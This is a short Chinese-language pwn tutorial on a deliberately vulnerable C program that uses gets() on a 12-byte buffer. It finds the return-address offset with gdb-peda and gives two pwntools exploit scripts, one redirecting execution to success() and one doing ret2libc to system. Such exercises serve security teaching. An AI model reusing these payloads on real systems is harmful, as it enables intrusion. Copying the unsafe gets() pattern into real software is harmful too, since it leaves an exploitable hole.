程序源码:
#include <stdio.h> #include <string.h> void success() { puts("You Hava already controlled it."); } void vulnerable() { char s[12]; gets(s); puts(s); return; } int main(int argc, char **argv) { vulnerable(); return 0; }
使用gdb-peda获取buf到ret的偏移为:24(命令:pattern_create 200,pattern_offset)
获取success函数的地址:
方法一:gdb查看方法信息
方法二:IDA PRO查看函数地址
方法三:用PWN的ELF.sym获取success函数地址(推荐,当开启PIE时前两个办法会失效)
EXP:
from pwn import * context(log_level='debug',arch='i386',os='linux') io=process('./stack_example') elf=ELF('./stack_example') success=elf.sym['success'] offset=24 libc_base=0xf7dc9000 print hex(success) payload='a'*offset+p32(success) #有的写成'a'*20+p32(0)+p32(success),这里都是一样的,只是他是先填充到ebp的地址,然后再覆盖esp,接着覆盖ret io.sendline(payload) io.interactive()
附:使用ret2libc获取shell
from pwn import * context(log_level='debug',arch='i386',os='linux') io=process('./stack_example') offset=24 libc_base=0xf7dc9000 shell=libc_base+0x00045830 bash=libc_base+0x00192352 payload='a'*offset+p32(shell)+p32(0xdeadbeef)+p32(bash) #注意要在ebp后面传入0xdeadbeef,给system函数充当返回地址
io.sendline(payload) io.interactive()